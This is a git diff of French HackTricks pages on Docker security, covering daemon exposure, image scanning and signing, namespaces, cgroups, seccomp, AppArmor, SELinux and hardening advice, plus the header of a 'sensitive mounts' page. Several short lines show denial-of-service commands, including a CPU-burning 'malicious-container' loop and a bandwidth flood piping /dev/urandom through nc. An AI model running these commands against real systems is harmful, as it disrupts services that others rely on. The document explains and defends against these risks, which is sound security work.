@@ -38,6 +38,7 @@ DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376" sudo service docker restart ``` Cependant, exposer le démon Docker via HTTP n'est pas recommandé en raison de problèmes de sécurité. Il est conseillé de sécuriser les connexions en utilisant HTTPS. Il existe deux approches principales pour sécuriser la connexion : + 1. Le client vérifie l'identité du serveur. 2. Le client et le serveur s'authentifient mutuellement. @@ -47,13 +48,13 @@ Des certificats sont utilisés pour confirmer l'identité d'un serveur. Pour des Les images de conteneurs peuvent être stockées dans des référentiels privés ou publics. Docker propose plusieurs options de stockage pour les images de conteneurs : -* **[Docker Hub](https://hub.docker.com)** : Un service de registre public de Docker. -* **[Docker Registry](https://github.com/docker/distribution)** : Un projet open source permettant aux utilisateurs d'héberger leur propre registre. -* **[Docker Trusted Registry](https://www.docker.com/docker-trusted-registry)** : Offre commerciale de Docker, proposant une authentification des utilisateurs basée sur les rôles et une intégration avec les services d'annuaire LDAP. +* [**Docker Hub**](https://hub.docker.com) : Un service de registre public de Docker. +* [**Docker Registry**](https://github.com/docker/distribution) : Un projet open-source permettant aux utilisateurs d'héberger leur propre registre. +* [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry) : Offre commerciale de Docker, proposant une authentification des utilisateurs basée sur les rôles et une intégration avec les services d'annuaire LDAP. ### Analyse d'images -Les conteneurs peuvent présenter des **vulnérabilités de sécurité** soit en raison de l'image de base, soit en raison des logiciels installés par-dessus l'image de base. Docker travaille sur un projet appelé **Nautilus** qui effectue une analyse de sécurité des conteneurs et répertorie les vulnérabilités. Nautilus fonctionne en comparant chaque couche d'image de conteneur avec un référentiel de vulnérabilités pour identifier les failles de sécurité. +Les conteneurs peuvent présenter des **vulnérabilités de sécurité** soit en raison de l'image de base, soit en raison des logiciels installés par-dessus l'image de base. Docker travaille sur un projet appelé **Nautilus** qui effectue une analyse de sécurité des conteneurs et répertorie les vulnérabilités. Nautilus fonctionne en comparant chaque couche d'image de conteneur avec le référentiel de vulnérabilités pour identifier les failles de sécurité. Pour plus d'**informations, lisez ceci**](https://docs.docker.com/engine/scan/). @@ -91,11 +92,11 @@ clair-scanner -w example-alpine.yaml --ip YOUR_LOCAL_IP alpine:3.5 La signature des images Docker garantit la sécurité et l'intégrité des images utilisées dans les conteneurs. Voici une explication condensée : -- **Docker Content Trust** utilise le projet Notary, basé sur The Update Framework (TUF), pour gérer la signature des images. Pour plus d'informations, consultez [Notary](https://github.com/docker/notary) et [TUF](https://theupdateframework.github.io). -- Pour activer la confiance du contenu Docker, définissez `export DOCKER_CONTENT_TRUST=1`. Cette fonctionnalité est désactivée par défaut dans Docker version 1.10 et ultérieure. -- Avec cette fonctionnalité activée, seules les images signées peuvent être téléchargées. Le premier envoi d'image nécessite de définir des phrases secrètes pour les clés racine et de balisage, Docker prenant également en charge Yubikey pour une sécurité renforcée. Plus de détails peuvent être trouvés [ici](https://blog.docker.com/2015/11/docker-content-trust-yubikey/). -- Tenter de télécharger une image non signée avec la confiance du contenu activée entraîne une erreur "No trust data for latest". -- Pour les envois d'images suivants, Docker demande la phrase secrète de la clé du dépôt pour signer l'image. +* **Docker Content Trust** utilise le projet Notary, basé sur The Update Framework (TUF), pour gérer la signature des images. Pour plus d'informations, consultez [Notary](https://github.com/docker/notary) et [TUF](https://theupdateframework.github.io). +* Pour activer la confiance du contenu Docker, définissez `export DOCKER_CONTENT_TRUST=1`. Cette fonctionnalité est désactivée par défaut dans Docker version 1.10 et ultérieures. +* Avec cette fonctionnalité activée, seules les images signées peuvent être téléchargées. Le premier envoi d'image nécessite de définir des phrases secrètes pour les clés racine et de balisage, Docker prenant également en charge Yubikey pour une sécurité renforcée. Plus de détails peuvent être trouvés [ici](https://blog.docker.com/2015/11/docker-content-trust-yubikey/). +* Tenter de télécharger une image non signée avec la confiance du contenu activée entraîne une erreur "No trust data for latest". +* Pour les envois d'images suivants, Docker demande la phrase secrète de la clé du dépôt pour signer l'image. Pour sauvegarder vos clés privées, utilisez la commande : ```bash @@ -108,7 +109,7 @@ Lorsque vous passez d'un hôte Docker à un autre, il est nécessaire de déplac
\ -Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\ +Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser les workflows** alimentés par les outils communautaires les plus avancés au monde.\ Accédez dès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -119,22 +120,25 @@ Accédez dès aujourd'hui : Résumé des fonctionnalités de sécurité des conteneurs -### Principales fonctionnalités d'isolation des processus +#### Principales fonctionnalités d'isolation des processus -Dans les environnements conteneurisés, isoler les projets et leurs processus est primordial pour la sécurité et la gestion des ressources. Voici une explication simplifiée des concepts clés : +Dans les environnements conteneurisés, isoler les projets et leurs processus est essentiel pour la sécurité et la gestion des ressources. Voici une explication simplifiée des concepts clés : -#### **Espaces de noms (Namespaces)** -- **Objectif** : Assurer l'isolation des ressources telles que les processus, le réseau et les systèmes de fichiers. En particulier dans Docker, les espaces de noms maintiennent les processus d'un conteneur séparés de l'hôte et des autres conteneurs. -- **Utilisation de `unshare`** : La commande `unshare` (ou l'appel système sous-jacent) est utilisée pour créer de nouveaux espaces de noms, offrant une couche supplémentaire d'isolation. Cependant, bien que Kubernetes ne bloque pas cela de manière inhérente, Docker le fait. -- **Limitation** : Créer de nouveaux espaces de noms n'autorise pas un processus à revenir aux espaces de noms par défaut de l'hôte. Pour pénétrer les espaces de noms de l'hôte, on aurait généralement besoin d'accéder au répertoire `/proc` de l'hôte, en utilisant `nsenter` pour entrer. +**Espaces de noms (Namespaces)** -#### **Groupes de contrôle (CGroups)** -- **Fonction** : Principalement utilisés pour allouer des ressources entre les processus. -- **Aspect de sécurité** : Les CGroups eux-mêmes n'offrent pas de sécurité d'isolation, sauf pour la fonction `release_agent`, qui, si mal configurée, pourrait potentiellement être exploitée pour un accès non autorisé. +* **Objectif** : Assurer l'isolation des ressources telles que les processus, le réseau et les systèmes de fichiers. En particulier dans Docker, les espaces de noms maintiennent les processus d'un conteneur séparés de l'hôte et des autres conteneurs. +* **Utilisation de `unshare`** : La commande `unshare` (ou l'appel système sous-jacent) est utilisée pour créer de nouveaux espaces de noms, offrant une couche supplémentaire d'isolation. Cependant, bien que Kubernetes ne bloque pas cela de manière inhérente, Docker le fait. +* **Limitation** : Créer de nouveaux espaces de noms n'autorise pas un processus à revenir aux espaces de noms par défaut de l'hôte. Pour pénétrer les espaces de noms de l'hôte, on aurait généralement besoin d'accéder au répertoire `/proc` de l'hôte, en utilisant `nsenter` pour entrer. -#### **Abandon de capacité (Capability Drop)** -- **Importance** : Il s'agit d'une fonctionnalité de sécurité cruciale pour l'isolation des processus. -- **Fonctionnalité** : Il restreint les actions qu'un processus root peut effectuer en abandonnant certaines capacités. Même si un processus s'exécute avec des privilèges root, le manque des capacités nécessaires l'empêche d'exécuter des actions privilégiées, car les appels système échoueront en raison de permissions insuffisantes. +**Groupes de contrôle (CGroups)** + +* **Fonction** : Principalement utilisé pour allouer des ressources entre les processus. +* **Aspect de sécurité** : Les CGroups eux-mêmes ne garantissent pas la sécurité de l'isolation, sauf pour la fonction `release_agent`, qui, si mal configurée, pourrait potentiellement être exploitée pour un accès non autorisé. + +**Abandon de capacité (Capability Drop)** + +* **Importance** : Il s'agit d'une fonctionnalité de sécurité cruciale pour l'isolation des processus. +* **Fonctionnalité** : Il restreint les actions qu'un processus root peut effectuer en abandonnant certaines capacités. Même si un processus s'exécute avec des privilèges root, le manque des capacités nécessaires l'empêche d'exécuter des actions privilégiées, car les appels système échoueront en raison de permissions insuffisantes. Voici les **capacités restantes** après que le processus a abandonné les autres : @@ -146,20 +150,20 @@ Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,ca **Seccomp** -Il est activé par défaut dans Docker. Il aide à **limiter encore plus les appels système** que le processus peut appeler.\ -Le **profil Seccomp Docker par défaut** peut être trouvé dans [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) +Il est activé par défaut dans Docker. Cela aide à **limiter encore plus les appels système** que le processus peut appeler.\ +Le **profil Seccomp par défaut de Docker** peut être trouvé dans [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) **AppArmor** -Docker a un modèle que vous pouvez activer : [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor) +Docker dispose d'un modèle que vous pouvez activer : [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor) -Cela permettra de réduire les capacités, les appels système, l'accès aux fichiers et dossiers... +Cela permet de réduire les capacités, les appels système, l'accès aux fichiers et dossiers... ### Espaces de noms -Les **espaces de noms** sont une fonctionnalité du noyau Linux qui **partitionne les ressources du noyau** de telle sorte qu'un ensemble de **processus** voit un ensemble de **ressources** tandis qu'un **autre** ensemble de **processus** voit un **ensemble différent** de ressources. La fonctionnalité fonctionne en ayant le même espace de noms pour un ensemble de ressources et de processus, mais ces espaces de noms se réfèrent à des ressources distinctes. Les ressources peuvent exister dans plusieurs espaces. +Les **espaces de noms** sont une fonctionnalité du noyau Linux qui **partitionne les ressources du noyau** de telle sorte qu'un ensemble de **processus** voit un ensemble de **ressources** tandis qu'un **autre** ensemble de **processus** voit un **ensemble différent** de ressources. La fonctionnalité fonctionne en ayant le même espace de noms pour un ensemble de ressources et de processus, mais ces espaces de noms font référence à des ressources distinctes. Les ressources peuvent exister dans plusieurs espaces. Docker utilise les espaces de noms du noyau Linux suivants pour atteindre l'isolation des conteneurs : @@ -177,8 +181,8 @@ Pour **plus d'informations sur les espaces de noms**, consultez la page suivante ### cgroups -La fonctionnalité du noyau Linux **cgroups** fournit la capacité de **restreindre les ressources telles que le CPU, la mémoire, l'E/S, la bande passante réseau parmi** un ensemble de processus. Docker permet de créer des conteneurs en utilisant la fonctionnalité cgroup qui permet le contrôle des ressources pour le conteneur spécifique.\ -Voici un conteneur créé avec une mémoire d'espace utilisateur limitée à 500m, une mémoire noyau limitée à 50m, une part de CPU à 512, un poids de blkioweight à 400. La part de CPU est un ratio qui contrôle l'utilisation du CPU du conteneur. Il a une valeur par défaut de 1024 et une plage entre 0 et 1024. Si trois conteneurs ont la même part de CPU de 1024, chaque conteneur peut utiliser jusqu'à 33% du CPU en cas de conflit de ressources CPU. blkio-weight est un ratio qui contrôle l'E/S du conteneur. Il a une valeur par défaut de 500 et une plage entre 10 et 1000. +La fonctionnalité du noyau Linux **cgroups** permet de **restreindre les ressources telles que le CPU, la mémoire, l'E/S, la bande passante réseau parmi** un ensemble de processus. Docker permet de créer des conteneurs en utilisant la fonctionnalité cgroup qui permet le contrôle des ressources pour le conteneur spécifique.\ +Voici un conteneur créé avec une mémoire d'espace utilisateur limitée à 500m, une mémoire noyau limitée à 50m, une part de CPU à 512, un poids de blkioweight à 400. La part de CPU est un ratio qui contrôle l'utilisation du CPU du conteneur. Il a une valeur par défaut de 1024 et une plage entre 0 et 1024. Si trois conteneurs ont la même part de CPU de 1024, chaque conteneur peut utiliser jusqu'à 33% du CPU en cas de contention des ressources CPU. blkio-weight est un ratio qui contrôle l'E/S du conteneur. Il a une valeur par défaut de 500 et une plage entre 10 et 1000. ``` docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash ``` @@ -188,7 +192,7 @@ docker run -dt --rm denial sleep 1234 #Run a large sleep inside a Debian contain ps -ef | grep 1234 #Get info about the sleep process ls -l /proc//ns #Get the Group and the namespaces (some may be uniq to the hosts and some may be shred with it) ``` -Pour plus d'informations, consultez: +Pour plus d'informations, consultez : {% content-ref url="cgroups.md" %} [cgroups.md](cgroups.md) @@ -214,7 +218,7 @@ Il s'agit d'une fonctionnalité de sécurité qui permet à Docker de **limiter ### AppArmor dans Docker -**AppArmor** est une amélioration du noyau pour confiner les **conteneurs** à un **ensemble limité de ressources** avec des **profils par programme** : +**AppArmor** est une amélioration du noyau pour confiner les **conteneurs** à un **ensemble limité de **ressources** avec des **profils par programme** : {% content-ref url="apparmor.md" %} [apparmor.md](apparmor.md) @@ -222,13 +226,13 @@ Il s'agit d'une fonctionnalité de sécurité qui permet à Docker de **limiter ### SELinux dans Docker -- **Système d'étiquetage** : SELinux attribue une étiquette unique à chaque processus et objet de système de fichiers. -- **Application des politiques** : Il applique des politiques de sécurité définissant les actions qu'une étiquette de processus peut effectuer sur d'autres étiquettes dans le système. -- **Étiquettes de processus de conteneur** : Lorsque les moteurs de conteneurs lancent des processus de conteneurs, ils se voient généralement attribuer une étiquette SELinux confinée, couramment `container_t`. -- **Étiquetage des fichiers dans les conteneurs** : Les fichiers à l'intérieur du conteneur sont généralement étiquetés `container_file_t`. -- **Règles de politique** : La politique SELinux garantit principalement que les processus avec l'étiquette `container_t` ne peuvent interagir (lire, écrire, exécuter) qu'avec des fichiers étiquetés `container_file_t`. +* **Système d'étiquetage** : SELinux attribue une étiquette unique à chaque processus et objet de système de fichiers. +* **Application des politiques** : Il applique des politiques de sécurité définissant les actions qu'une étiquette de processus peut effectuer sur d'autres étiquettes dans le système. +* **Étiquettes de processus de conteneur** : Lorsque les moteurs de conteneurs initient des processus de conteneurs, ils sont généralement attribués une étiquette SELinux confinée, couramment `container_t`. +* **Étiquetage des fichiers dans les conteneurs** : Les fichiers à l'intérieur du conteneur sont généralement étiquetés `container_file_t`. +* **Règles de politique** : La politique SELinux garantit principalement que les processus avec l'étiquette `container_t` ne peuvent interagir (lire, écrire, exécuter) qu'avec des fichiers étiquetés `container_file_t`. -Ce mécanisme garantit que même si un processus à l'intérieur d'un conteneur est compromis, il est confiné pour interagir uniquement avec des objets ayant les étiquettes correspondantes, limitant ainsi considérablement les dommages potentiels de telles compromissions. +Ce mécanisme garantit que même si un processus à l'intérieur d'un conteneur est compromis, il est confiné à interagir uniquement avec des objets ayant les étiquettes correspondantes, limitant ainsi considérablement les dommages potentiels de telles compromissions. {% content-ref url="../selinux.md" %} [selinux.md](../selinux.md) @@ -238,10 +242,10 @@ Ce mécanisme garantit que même si un processus à l'intérieur d'un conteneur Dans Docker, un plugin d'autorisation joue un rôle crucial en matière de sécurité en décidant d'autoriser ou de bloquer les demandes au démon Docker. Cette décision est prise en examinant deux contextes clés : -- **Contexte d'authentification** : Cela inclut des informations complètes sur l'utilisateur, telles que son identité et la manière dont il s'est authentifié. -- **Contexte de commande** : Il comprend toutes les données pertinentes liées à la demande effectuée. +* **Contexte d'authentification** : Cela inclut des informations complètes sur l'utilisateur, telles que son identité et la manière dont il s'est authentifié. +* **Contexte de commande** : Il comprend toutes les données pertinentes liées à la demande effectuée. -Ces contextes aident à garantir que seules les demandes légitimes d'utilisateurs authentifiés sont traitées, renforçant la sécurité des opérations Docker. +Ces contextes garantissent que seules les demandes légitimes d'utilisateurs authentifiés sont traitées, renforçant la sécurité des opérations Docker. {% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %} [authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md) @@ -259,7 +263,7 @@ sudo apt-get install -y stress-ng && stress-ng --vm 1 --vm-bytes 1G --verify -t # While loop docker run -d --name malicious-container -c 512 busybox sh -c 'while true; do :; done' ``` -* Déni de service de bande passante +* **Déni de service de bande passante** ```bash nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc 4444; done ``` @@ -277,7 +281,7 @@ Sur la page suivante, vous pouvez apprendre **ce que signifie le drapeau `--priv #### no-new-privileges -Si vous exécutez un conteneur où un attaquant parvient à accéder en tant qu'utilisateur à faible privilège. Si vous avez un **binaire suid mal configuré**, l'attaquant pourrait l'exploiter et **escalader les privilèges à l'intérieur** du conteneur. Ce qui pourrait lui permettre de s'en échapper. +Si vous exécutez un conteneur où un attaquant parvient à accéder en tant qu'utilisateur à faibles privilèges. Si vous avez un **binaire suid mal configuré**, l'attaquant pourrait l'exploiter et **escalader les privilèges à l'intérieur** du conteneur. Ce qui pourrait lui permettre de s'en échapper. Exécuter le conteneur avec l'option **`no-new-privileges`** activée **empêchera ce type d'escalade de privilèges**. ``` @@ -335,7 +339,7 @@ file: ./my_secret_file.txt ``` Cette configuration permet l'utilisation de secrets lors du démarrage des services avec Docker Compose. -Dans les environnements Kubernetes, les secrets sont nativement pris en charge et peuvent être gérés plus en détail avec des outils comme [Helm-Secrets](https://github.com/futuresimple/helm-secrets). Les contrôles d'accès basés sur les rôles (RBAC) de Kubernetes améliorent la sécurité de la gestion des secrets, de manière similaire à Docker Enterprise. +Dans les environnements Kubernetes, les secrets sont nativement pris en charge et peuvent être gérés plus en détail avec des outils comme [Helm-Secrets](https://github.com/futuresimple/helm-secrets). Les contrôles d'accès basés sur les rôles (RBAC) de Kubernetes renforcent la sécurité de la gestion des secrets, similaire à Docker Enterprise. ### gVisor @@ -345,82 +349,32 @@ Dans les environnements Kubernetes, les secrets sont nativement pris en charge e ### Kata Containers -**Kata Containers** est une communauté open source travaillant à la création d'un exécuteur de conteneurs sécurisé avec des machines virtuelles légères qui se comportent et fonctionnent comme des conteneurs, mais offrent une **isolation de charge de travail plus forte en utilisant la technologie de virtualisation matérielle** comme une deuxième couche de défense. +**Kata Containers** est une communauté open source travaillant à construire un exécuteur de conteneurs sécurisé avec des machines virtuelles légères qui se comportent et fonctionnent comme des conteneurs, mais offrent une **isolation de charge de travail plus forte en utilisant la technologie de virtualisation matérielle** comme une deuxième couche de défense. {% embed url="https://katacontainers.io/" %} ### Conseils Résumés -* **Ne pas utiliser le drapeau `--privileged` ou monter un** [**socket Docker à l'intérieur du conteneur**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Le socket Docker permet de lancer des conteneurs, il est donc facile de prendre le contrôle total de l'hôte, par exemple, en exécutant un autre conteneur avec le drapeau `--privileged`. -* Ne **pas exécuter en tant que root à l'intérieur du conteneur. Utiliser un** [**utilisateur différent**](https://docs.docker.com/develop/develop-images/dockerfile\_best-practices/#user) **et des** [**espaces de noms utilisateur**](https://docs.docker.com/engine/security/userns-remap/)**.** Le root dans le conteneur est le même que sur l'hôte sauf s'il est remappé avec des espaces de noms utilisateur. Il est seulement légèrement restreint par, principalement, les espaces de noms Linux, les capacités et les cgroups. -* [**Supprimer toutes les capacités**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) et n'activer que celles qui sont nécessaires** (`--cap-add=...`). Beaucoup de charges de travail n'ont pas besoin de capacités et les ajouter augmente la portée d'une attaque potentielle. +* **Ne pas utiliser le drapeau `--privileged` ou monter un** [**socket Docker à l'intérieur du conteneur**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Le socket Docker permet de lancer des conteneurs, c'est donc un moyen facile de prendre le contrôle total de l'hôte, par exemple, en exécutant un autre conteneur avec le drapeau `--privileged`. +* Ne **pas exécuter en tant que root à l'intérieur du conteneur. Utiliser un** [**utilisateur différent**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **et les** [**espaces de noms utilisateur**](https://docs.docker.com/engine/security/userns-remap/)**.** Le root dans le conteneur est le même que sur l'hôte sauf s'il est remappé avec les espaces de noms utilisateur. Il est seulement légèrement restreint par, principalement, les espaces de noms Linux, les capacités et les cgroups. +* [**Supprimer toutes les capacités**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) et n'activer que celles qui sont nécessaires** (`--cap-add=...`). Beaucoup de charges de travail ne nécessitent aucune capacité et les ajouter augmente la portée d'une attaque potentielle. * [**Utiliser l'option de sécurité “no-new-privileges”**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) pour empêcher les processus de gagner plus de privilèges, par exemple via des binaires suid. * [**Limitez les ressources disponibles pour le conteneur**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Les limites de ressources peuvent protéger la machine contre les attaques de déni de service. * **Ajuster les profils** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(ou SELinux)** pour restreindre les actions et les appels système disponibles pour le conteneur au minimum requis. -* **Utiliser des** [**images Docker officielles**](https://docs.docker.com/docker-hub/official\_images/) **et exiger des signatures** ou construire les vôtres basées sur elles. Ne pas hériter ou utiliser des images [compromises](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/). Stocker également les clés racines, les phrases secrètes dans un endroit sûr. Docker a des plans pour gérer les clés avec UCP. +* **Utiliser des** [**images Docker officielles**](https://docs.docker.com/docker-hub/official_images/) **et exiger des signatures** ou construire les vôtres basées sur elles. Ne pas hériter ou utiliser des images [compromises](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/). Stocker également les clés racines, les phrases secrètes dans un endroit sûr. Docker a des plans pour gérer les clés avec UCP. * **Reconstruire régulièrement** vos images pour **appliquer les correctifs de sécurité à l'hôte et aux images**. * Gérez vos **secrets de manière judicieuse** pour qu'il soit difficile pour l'attaquant d'y accéder. * Si vous **exposez le démon Docker, utilisez HTTPS** avec une authentification client et serveur. * Dans votre Dockerfile, **privilégiez COPY à la place de ADD**. ADD extrait automatiquement les fichiers compressés et peut copier des fichiers à partir d'URL. COPY n'a pas ces capacités. Dans la mesure du possible, évitez d'utiliser ADD pour ne pas être vulnérable aux attaques via des URL distantes et des fichiers Zip. * Avoir des **conteneurs séparés pour chaque micro-service**. -* **Ne pas mettre ssh** à l'intérieur du conteneur, “docker exec” peut être utilisé pour ssh vers le conteneur. -* Avoir des **images de conteneurs plus petites**. - -## Évasion / Élévation de privilèges Docker - -Si vous êtes **à l'intérieur d'un conteneur Docker** ou avez accès à un utilisateur dans le **groupe docker**, vous pourriez essayer de **vous échapper et d'élever les privilèges**: - -{% content-ref url="docker-breakout-privilege-escalation/" %} -[docker-breakout-privilege-escalation](docker-breakout-privilege-escalation/) -{% endcontent-ref %} - -## Contournement du Plugin d'Authentification Docker - -Si vous avez accès au socket Docker ou avez accès à un utilisateur dans le **groupe docker mais que vos actions sont limitées par un plugin d'authentification Docker**, vérifiez si vous pouvez **le contourner**: - -{% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %} -[authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md) -{% endcontent-ref %} - -## Durcissement de Docker - -* L'outil [**docker-bench-security**](https://github.com/docker/docker-bench-security) est un script qui vérifie des dizaines de bonnes pratiques courantes concernant le déploiement de conteneurs Docker en production. Les tests sont tous automatisés et sont basés sur le [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\ -Vous devez exécuter l'outil à partir de l'hôte exécutant Docker ou d'un conteneur avec suffisamment de privilèges. Découvrez **comment l'exécuter dans le README:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security). - -## Références - -* [https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/) -* [https://twitter.com/\_fel1x/status/1151487051986087936](https://twitter.com/\_fel1x/status/1151487051986087936) -* [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html) -* [https://sreeninet.wordpress.com/2016/03/06/docker-security-part-1overview/](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-1overview/) -* [https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/) -* [https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/) -* [https://sreeninet.wordpress.com/2016/03/06/docker-security-part-4container-image/](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-4container-image/) -* [https://en.wikipedia.org/wiki/Linux\_namespaces](https://en.wikipedia.org/wiki/Linux\_namespaces) -* [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57) -* [https://www.redhat.com/sysadmin/privileged-flag-container-engines](https://www.redhat.com/sysadmin/privileged-flag-container-engines) -* [https://docs.docker.com/engine/extend/plugins_authorization](https://docs.docker.com/engine/extend/plugins_authorization) -* [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57) -* [https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/](https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/) - -
- -\ -Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\ -Accédez dès aujourd'hui : - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - -
- -Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! - +* **Ne pas mettre ssh** à l'intérieur du conteneur, "docker exec" peut être utilisé pour ssh vers le conteneur. +* Avoir des **images de conteneurs plus petites** Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez** 💬 le [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
diff --git a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md index 66390d437..93c797a22 100644 --- a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md +++ b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md @@ -1,167 +1,197 @@ +# Montages Sensibles +
-Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! +Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
